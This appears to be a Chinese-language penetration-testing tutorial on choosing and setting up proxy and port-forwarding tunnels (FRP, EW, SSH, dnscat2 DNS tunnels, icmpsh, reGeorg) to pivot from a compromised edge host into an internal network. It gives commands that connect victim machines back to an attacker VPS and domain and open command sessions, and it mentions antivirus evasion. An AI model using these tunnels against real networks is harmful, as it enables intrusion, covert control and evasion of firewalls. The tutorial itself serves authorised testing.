前言
一篇对代理转发知识的总结文章。
名词解释
代理:其为中转站,中转数据流量,对应关系为一对多
端口转发:A端口流量转到B端口,A为新开,B为本就存在,对应关系为一对一
正向代理:主动连接,Client去连接Server的行为
反向代理:被动连接,Server去连接Client的行为
隧道使用场景
列举几种真实渗透场景,针对不同场景去选择代理转发隧道
场景一:边界机器存在公网IP,可访问外网;
场景二:边界机器不存在公网IP,可访问外网;
场景三:边界机器不存在公网IP,不可访问外网,80端口网站服务可被外网访问。
代理转发隧道选择
一:代理还是端口转发?
需基于渗透场景去选择,若以边界机器为流量跳板,对内网进行渗透,这时我们需要用到很多渗透工具,若一个个上传渗透工具到边界机器,则太麻烦,顾在这种情况,代理优于端口转发;若只需访问内网某端口,那么代理跟端口转发都可;
二:正向代理还是反向代理?
需基于渗透场景去选择,若边界机器存在公网IP,那么正反代理都可用,若边界机器不存在公网IP,那么只能用反向代理;若边界机器存在防火墙,则一般会拦截主动访问边界机器的流量,这时需要选择反向代理。总的来说,部分场景下正向代理有限制,反向代理都可实现,反向代理优于正向代理。
三:代理转发隧道选择?
主要基于两点:一:出网协议;二:出网端口;根据边界机器支持的出网协议和出网端口来选择到底使用什么代理转发隧道,例如果边界机器协议都支持,那么可以可以自由选择,如果边界机器只支持ICMP协议,那么只能选择ICMP协议做代理转发隧道。
判断边界机器出网协议:
1 | 1.ICMP |
代理转发隧道
FRP隧道
简介:反向代理应用,支持 TCP、UDP、HTTP、HTTPS 等多种协议,相比于EW更稳定,FRP分服务端和客户端,服务端放攻击者公网VPS,客户端放受害者边界机器,由于是反向代理,顾边界机器需能访问外网,无需有公网IP
Github地址:https://github.com/fatedier/frp
后台启动FRP(frps为客户端、fprc为服务端)
1 | nohup ./frps -c ./frps.ini & |
FRP配置
1 | frps.ini |
若内网为多网段,可用Proxifier加多重代理链或端口转发思路,Proxifier多重代理链配置如下图
Create代理链后,从上方拖动SOCKS5代理到chain-1
配置完后,在Proxification Rules可选用
EW隧道
简介:远古代理转发工具,存在端口转发和SOCKS代理功能,可应对多重代理需求,由于工具太早,杀软都已标记,顾存在杀软时需要免杀才能使用
正向SOCKS5代理
反向SOCKS5代理
正向二级网络环境
反向二级网络环境
若还存在三四级网络环境,通内网的最内层开启SOCKS5代理,其他层做转发
SSH隧道
简介:基于SSH协议的隧道,加密传输,且Linux/Unix和各种设备自带SSH,可用作端口转发和SOCKS代理
SSH协议常用参数
1 | -C 压缩传输,提高传输速度 |
转发方式:
1:本地转发;
2:远程转发;
3:动态转发;
实验环境
本地转发(B有公网IP,正向连接)
在攻击服务器A上执行,访问Aport等于访问Cport
ssh -CfNg -L Aport:CIP:Cport root@BIP
远程转发(B没有公网IP,能访问外网,反向连接)
在边界服务器B上执行,访问Aport等于访问Cport
ssh -CfNg -R Aport:CIP:Cport root@AIP
动态转发(等于开启代理服务器,B有公网IP,正向代理)
在攻击服务器A上执行,访问Aport等于访问B代理
ssh -CfNg -D Aport root@Bport
DNS隧道
简介:DNS隧道一般来说边界机器都不会禁用,顾当TCP、HTTP等隧道都无法建立的时候可以考虑DNS隧道,建立DNS隧道之前首先要准备公网VPS和域名,这里用dnscat2搭建DNS隧道
准备工作
域名做A和NS解析,以下为西部数码,139.162.46.152为公网VPS的IP
判断解析成功
通过ping判断A解析成功
通过公网VPS主机抓包
1 | tcpdump -n -i eth0 udp dst port 53 |
其他主机
1 | nslookup dns2tcp.hackby.site |
查看公网VPS的抓包情况,若抓到对域名“dns2tcp.hackby.site”进行查询的DNS请求数据包,则说明第二条NS解析设置成功并已生效
DNSCAT2安装(Ubuntu环境)
1 | apt-get install gem |
启动服务端
1 | ruby ./dnscat2.rb dns2tcp.hackby.site -e open -c 123456 --no-cache |
启动客户端
1 | linux: |
客户端返回如下,则建立连接成功
建立连接后,可执行命令
1 | sessions 查看会话 |
ICMP隧道
简介:ICMP隧道以icmpsh工具做叙述,攻击机器和受害机器都需要有公网IP,icmpsh的目标主机只能运行于Windows平台,控制端只能运行于Linux平台
1 | #下载程序 |
HTTP隧道
简介:HTTP隧道以reGeory和Neo-reGeory工具做叙述,Neo-reGeory为reGeory的加密流量版本
1 | 1:reGeory.py |